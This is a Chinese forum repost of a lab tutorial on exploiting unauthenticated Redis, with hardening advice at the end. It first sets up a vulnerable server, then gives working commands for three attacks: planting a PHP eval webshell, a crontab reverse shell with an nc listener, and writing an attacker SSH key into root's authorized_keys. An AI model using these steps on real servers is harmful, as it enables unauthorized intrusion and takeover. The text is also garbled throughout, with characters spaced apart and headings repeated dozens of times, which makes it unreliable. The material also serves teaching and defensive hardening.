搜索

[6974] 2020-10-12_redis未授权访问漏洞复现（包括环境搭建）

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-17
2020-10-12_redis未授权访问漏洞复现（包括环境搭建） r e d i s 未 授 权 访 问 漏 洞 复 现 （ 包 括 环 境 搭 建 ） E 安 全   2 0 2 0 - 1 0 - 1 2 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 s m a r t 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 R e d i s 环 境 搭 建 环 境 搭 建 1 . 工 具 工 具 r e d i s 版 本 ： 3 . 2 . 9 链 接 ： h t t p : / / d o w n l o a d . r e d i s . i o / r e l e a s e s / r e d i s - 3 . 2 . 9 . t a r . g z 操 作 系 统 ： c e n t o s   6 . 9 2 . r e d i s 安 装 步 骤 安 装 步 骤 a . 解 压 r e d i s t a r   - z x v f   r e d i s - 3 . 2 . 9 . t a r . g z b . 重 命 名 r e d i s m v   r e d i s - 3 . 2 . 9   / u s r / l o c a l / r e d i s c . 编 译 安 装 r e d i s c d   / u s r / l o c a l / r e d i s m a k e   &   m a k e   i n s t a l l r e d i s 刚 安 装 好 时 只 能 通 过 本 地 l o c a l h o s t   ( 1 2 7 . 0 . 0 . 1 ） 访 问 ， 而 不 能 用 其 他 网 络 i p 区 访 问 ， 如 果 没 有 配 置 好 r e d i s . c o n f 使 用 网 络 i p 访 问 r e d i s 会 报 以 下 的 错 误 ： 出 现 这 个 错 误 说 明 r e d i s 处 于 保 护 模 式 ， 只 能 本 地 访 问 ， 我 们 需 要 修 改 配 置 文 件 r e d i s . c o n f 配 置 文 件 。 1 ) 打 开 配 置 文 件 把 下 面 对 应 的 注 释 掉 （ 或 者 可 以 针 对 自 己 的 i p 进 行 b i n d ） #   b i n d   1 2 7 . 0 . 0 . 1 2 ) R e d i s 默 认 不 是 以 守 护 进 程 的 方 式 运 行 ， 可 以 通 过 该 配 置 项 修 改 ， 使 用 y e s 启 用 守 护 进 程 ， 设 置 为 n o d a e m o n i z e   n o 3 ) 保 护 模 式 p r o t e c t e d - m o d e   n o 4 ) 重 新 启 动 配 置 文 件 才 会 生 效 ： r e d i s - s e r v e r   r e d i s . c o n f （ 在 r e d i s . c o n f 文 件 目 录 下 执 行 ） 5 ) 关 闭 防 火 墙 6 ) 出 现 如 下 信 息 说 明 环 境 已 配 置 完 成 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 ( e r r o r )   D E N I E D   R e d i s   i s   r u n n i n g   i n   p r o t e c t e d   m o d e   b e c a u s e   p r o t e c t e d   m o d e   i s   e n a b l e d ,   n o   b i n d   a d d r e s s   w a s   s p e c i f i e d ,   n o   a u t h e n t i c a t i o n   p a s s w o r d   i s   r e q u e s t e d   t o   c l i e n t s .   I n   t h i s   m o d e   c o n n e c t i o n s   a r e   o n l y   a c c e p t e d  
N o . 2 N o . 2 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 拿 拿 s h e l l 的 三 种 姿 势 的 三 种 姿 势 一 、 通 过 向 一 、 通 过 向 W e b 目 录 中 写 目 录 中 写 w e b s h e l l 1 . 测 试 环 境 测 试 环 境   攻 击 A （ k a l i ） ： 1 9 2 . 1 6 8 . 1 9 2 . 1 7 1 靶 机 B ( C e n t O S ) ： 1 9 2 . 1 6 8 . 1 9 2 . 1 8 1 2 . 测 试 步 骤 测 试 步 骤 . / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 9 2 . 1 8 1 c o n f i g   s e t   d i r   / v a r / w w w / h t m l   s e t   x   " n n n < ? p h p   @ e v a l ( $ _ P O S T [ ' c c ' ] ) ; ? > n n n " c o n f i g   s e t   d b f i l e n a m e   1 . p h p S a v e 用 菜 刀 连 接 ： 打 开 虚 拟 终 端 执 行 命 令 ： 二 、 利 用 计 划 任 务 执 行 命 令 反 弹 二 、 利 用 计 划 任 务 执 行 命 令 反 弹 s h e l l 1 . 测 试 环 境 测 试 环 境   攻 击 A （ k a l i ） ： 1 9 2 . 1 6 8 . 1 9 2 . 1 7 1 靶 机 B ( C e n t O S ) ： 1 9 2 . 1 6 8 . 1 9 2 . 1 8 1 2 . 测 试 步 骤 测 试 步 骤 先 在 A 上 监 听 一 个 端 口 :   n c   - l v n p   7 7 7 7 然 后 利 用 r e d i s 以 r o o t 权 限 运 行 时 写 c r o n t a b
三 、 写 入 三 、 写 入 s s h 公 钥 ， 获 取 操 作 系 统 权 限 公 钥 ， 获 取 操 作 系 统 权 限 1 . 测 试 环 境 测 试 环 境   靶 机 ： c e n t o s 6 . 9   i p ： 1 7 2 . 1 6 . 1 . 1 5 0 攻 击 机 ： R H 6 . 5   i p ： 1 7 2 . 1 6 . 1 . 1 3 3 2 . 测 试 步 骤 测 试 步 骤 首 先 在 本 地 生 产 公 私 钥 文 件 ： $   s s h - k e y g e n   – t   r s a 注 意 ： 记 住 生 成 公 钥 是 填 写 的 p a s s p h r a s e ， 因 为 这 是 登 录 到 靶 机 的 密 码 。 然 后 将 公 钥 写 入   t e s t . t x t   文 件 $   ( e c h o   - e   " n n " ;   c a t   i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   t e s t . t x t 连 接   靶 机 R e d i s   写 入 文 件 $   r e d i s - c l i   - h   1 7 2 . 1 6 . 1 . 1 5 0 $   1 7 2 . 1 6 . 1 . 1 5 0 : 6 3 7 9 >   c o n f i g   s e t   d i r   / r o o t / . s s h / O K $   1 7 2 . 1 6 . 1 . 1 5 0 : 6 3 7 9 >   c o n f i g   g e t   d i r 1 )   " d i r " 2 )   " / r o o t / . s s h " $   1 7 2 . 1 6 . 1 . 1 5 0 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e   " a u t h o r i z e d _ k e y s " O K $   1 7 2 . 1 6 . 1 . 1 5 0 : 6 3 7 9 >   s a v e O K 这 样 就 可 以 成 功 的 将 自 己 的 公 钥 写 入   / r o o t / . s s h   文 件 夹 的   a u t h o t r i z e d _ k e y s   文 件 里 ， 然 后 攻 击 者 直 接 执 行 s s h   1 7 2 . 1 6 . 1 . 1 5 0 ， 输 入 生 成 公 钥 时 填 的 k e y 作 为 靶 机 的 密 码
N o . 3 N o . 3 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 修 复 建 议 网 上 收 集 的 一 些 修 复 建 议 ： 网 上 收 集 的 一 些 修 复 建 议 ： 1 . 禁 止 一 些 高 危 命 令 禁 止 一 些 高 危 命 令         修 改   r e d i s . c o n f   文 件 ， 添 加         r e n a m e - c o m m a n d   F L U S H A L L   " "         r e n a m e - c o m m a n d   C O N F I G   " "         r e n a m e - c o m m a n d   E V A L   " "         来 禁 用 远 程 修 改   D B   文 件 地 址 2 . 以 低 权 限 运 行 以 低 权 限 运 行   R e d i s   服 务 服 务         为   R e d i s   服 务 创 建 单 独 的 用 户 和 家 目 录 ， 并 且 配 置 禁 止 登 陆     $   g r o u p a d d   - r   r e d i s   & &   u s e r a d d   - r   - g   r e d i s   r e d i s 3 . 为 为   R e d i s   添 加 密 码 验 证 添 加 密 码 验 证         修 改   r e d i s . c o n f   文 件 ， 添 加         r e q u i r e p a s s   m y p a s s w o r d 4 . 禁 止 外 网 访 问 禁 止 外 网 访 问   R e d i s         修 改   r e d i s . c o n f   文 件 ， 添 加 或 修 改 ， 使 得   R e d i s   服 务 只 在 当 前 主 机 可 用         b i n d   1 2 7 . 0 . 0 . 1 5 . 保 证 保 证   a u t h o r i z e d _ k e y s   文 件 的 安 全 文 件 的 安 全         为 了 保 证 安 全 ， 您 应 该 阻 止 其 他 用 户 添 加 新 的 公 钥 。         将   a u t h o r i z e d _ k e y s   的 权 限 设 置 为 对 拥 有 者 只 读 ， 其 他 用 户 没 有 任 何 权 限 ： $   c h m o d   4 0 0   ~ / . s s h / a u t h o r i z e d _ k e y s         为 保 证   a u t h o r i z e d _ k e y s   的 权 限 不 会 被 改 掉 ， 您 还 需 要 设 置 该 文 件 的   i m m u t a b l e   位 权 限 ： #   c h a t t r   + i   ~ / . s s h / a u t h o r i z e d _ k e y s         然 而 ， 用 户 还 可 以 重 命 名   ~ / . s s h ， 然 后 新 建 新 的   ~ / . s s h   目 录 和   a u t h o r i z e d _ k e y s   文 件 。 要 避 免 这 种 情 况 ， 需 要 设 置   ~ . / s s h   的   i m m u t a b l e   位 权 限 ： #   c h a t t r   + i   ~ / . s s h         注 意 :   如 果 需 要 添 加 新 的 公 钥 ， 需 要 移 除   a u t h o r i z e d _ k e y s   的   i m m u t a b l e   位 权 限 。 然 后 ， 添 加 好 新 的 公 钥 之 后 ， 按 照 上 述 步 骤 重 新 加 上   i m m u t a b l e   位 权 限 。 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 伪 装 成 新 闻 机 构   美 国 查 封 了 9 2 个 被 伊 朗 用 来 传 播 虚 假 信 息 的 网 站 思 科 被 判 四 项 专 利 侵 权 ： 需 支 付 1 9 亿 美 元 赔 偿 金 普 京 呼 吁 俄 美 重 启 信 息 安 全 领 域 双 边 合 作   却 被 美 方 一 口 回 绝 突 发 ！ 达 飞 轮 船 疑 似 被 黑 客 攻 击   至 此 全 球 四 大 航 运 公 司 全 部 “ 中 招 ” 外 交 部 霸 气 回 应 ： 增 进 自 身 网 络 安 全   保 护 关 键 信 息 基 础 设 施 免 受 威 胁 和 破 坏 ▼ 稿 件 合 作     1 5 5 5 8 1 9 2 9 5 9 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理